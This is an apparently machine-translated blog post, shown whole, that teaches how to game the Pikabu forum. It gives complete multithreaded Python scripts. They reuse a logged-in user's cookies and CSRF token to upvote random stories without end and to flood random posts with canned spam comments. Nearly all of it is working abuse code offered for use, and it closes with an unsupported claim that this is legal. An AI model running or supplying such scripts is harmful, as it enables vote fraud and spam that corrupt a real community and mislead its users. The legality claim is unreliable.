Pikabu垃圾邮件漏洞

你好 我想谈谈Pikabu论坛的垃圾邮件漏洞。


我认为论坛不是最好的论坛,因此我正在对其进行测试。


有什么意义?


漏洞在于使用Python脚本在最短时间内增加活动,评分数量和评论。


给我看!


24小时内的脚本操作:


图片


认为我编辑了HTML吗? 不!


你是怎么做到的?


很简单!


首先,创建一个.py文件:


图片


接下来,让我们导入用于请求操作的模块,以及用于对脚本进行多线程处理的模块:


import requests from threading import Thread 

现在,让我们创建一个带有无限循环的函数来发送请求:


 def spam(): while True: req = requests.post('') 

但是您如何知道请求数据?


打开FireFox,转到Pikabu。


选择任何主题。 将鼠标悬停在向上箭头上:


图片


现在按组合键:cntr + shift + i。


开发人员工具栏出现在屏幕上:


为了保留昂贵的论坛用户的视野-我不得不删掉AdBlock主题(ohm):


图片


让我们转到“网络”标签。


现在,我们在此浏览器中看到所有传出请求。


单击“为主题评分”箭头,然后快速查看查询面板。
按下“方法”按钮,直到第一个请求是“ POST”类型的请求:


图片


在第一个查询中,找到以下一个:


图片


右键单击它,然后将鼠标悬停在“复制”按钮上,选择“复制POST数据”。 接下来,以这种方式将数据插入查询中:


 req = requests.post('https://pikabu.ru/ajax/vote_story.php', data = { 'story_id':story, 'vote':'1' }, ) 

但是,我们将评估同一篇文章!


要解决此问题,请使用以下代码将“随机”模块添加到已导入的模块中:


 import random 

并将该行添加到while循环中:


 story = random.randint(1000000, 6865568) 

让我们继续创建一个请求! 这是我们已经完成的工作:


 import requests from threading import Thread import random def spam(): while True: story = random.randint(1000000, 6865568) req = requests.post('https://pikabu.ru/ajax/vote_story.php', data = { 'story_id':story, 'vote':'1' }, ) 

向请求添加最重要的内容-标头。 让我们回到FireFox,只需右键单击请求,然后选择“复制”,但这一次是“请求标头”。
同样,通过冒号和引号将它们插入代码中:


 import requests from threading import Thread import random def spam(): while True: story = random.randint(1000000, 6865568) req = requests.post('https://pikabu.ru/ajax/vote_story.php', data = { 'story_id':str(story), 'vote':'1' }, headers = { 'Host: 'pikabu.ru', 'User-Agent': ' ', 'Accept': 'application/json, text/javascript, */*; q=0.01', 'Accept-Language': 'ru-RU,ru;q=0.8,en-US;q=0.5,en;q=0.3', 'Accept-Encoding': 'gzip, deflate, br', 'Content-Type': 'application/x-www-form-urlencoded; charset=UTF-8', 'X-Csrf-Token': ' ', 'X-Requested-With': 'XMLHttpRequest', 'Content-Length': '23', 'Connection': 'keep-alive', 'Referer': 'https://pikabu.ru/', 'Cookie': '  ' }) 

在“您的数据”字段中,插入您的值。


显示请求状态:


 print(req) 

如果显示“响应<200>”,则说明已发送请求,并且已对主题进行了评分。
接下来,我们将使脚本运行更快(大约55倍)。


为我们的请求创建线程:


 for i in range(55): thr = Thread(target = spam) thr.start() 

好吧,就是这样! 你可以跑步。


这是整个代码:


 import requests from threading import Thread import random def spam(): while True: story = random.randint(1000000, 6865568) req = requests.post('https://pikabu.ru/ajax/vote_story.php', data = { 'story_id':str(story), 'vote':'1' }, headers = { 'Host: 'pikabu.ru', 'User-Agent': ' ', 'Accept': 'application/json, text/javascript, */*; q=0.01', 'Accept-Language': 'ru-RU,ru;q=0.8,en-US;q=0.5,en;q=0.3', 'Accept-Encoding': 'gzip, deflate, br', 'Content-Type': 'application/x-www-form-urlencoded; charset=UTF-8', 'X-Csrf-Token': ' ', 'X-Requested-With': 'XMLHttpRequest', 'Content-Length': '23', 'Connection': 'keep-alive', 'Referer': 'https://pikabu.ru/', 'Cookie': '  ' }) print(req) for i in range(55): thr = Thread(target = spam) thr.start() 

以同样的方式进行作弊评论。 我不会详细解释它,只布置代码:


 # -*- coding: utf8 -*- import requests from threading import Thread import random def sender(): comments = [' !  !  !', ' ! !    !', '  ! !     ...', '!  !', '  .  !', ', !', ' !  !  !', ' ! !'] while True: #6863803 postid = random.randint(1000000, 6865568) comnom = random.randint(0, 7) req = requests.post('https://pikabu.ru/ajax/comments_actions.php', data = { 'desc':comments[comnom], 'action':'create', 'story_id':postid, 'parent_id':'0', 'images':'[]' }, headers = { 'Accept':'application/json, text/javascript, */*; q=0.01', 'Accept-Encoding':'gzip, deflate, br', 'Accept-Language':'ru-RU,ru;q=0.8,en-US;q=0.5,en;q=0.3', 'Connection':'keep-alive', 'Content-Length':'23', 'Content-Type':'application/x-www-form-urlencoded; charset=UTF-8', 'Cookie':' ', 'Host':'pikabu.ru', 'Referer':'https://pikabu.ru/', 'TE':'Trailers', 'User-Agent':'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:66.0) Gecko/20100101 Firefox/66.0', 'X-Csrf-Token':' ', 'X-Requested-With':'XMLHttpRequest'}) print(postid, ' commented: ',req.text) for i in range(35): thr = Thread(target = sender) thr.start() print(thr) print('All thread are initialized! Programm started!') 

好,仅此而已。 您可以猛烈发布和评论。


祝你好运


爱哈伯。


以上行动是完全合法的,并且不违反俄罗斯联邦《刑法》于10/02/2019上的一项以上规定。

Source: https://habr.com/ru/post/zh-CN469839/


All Articles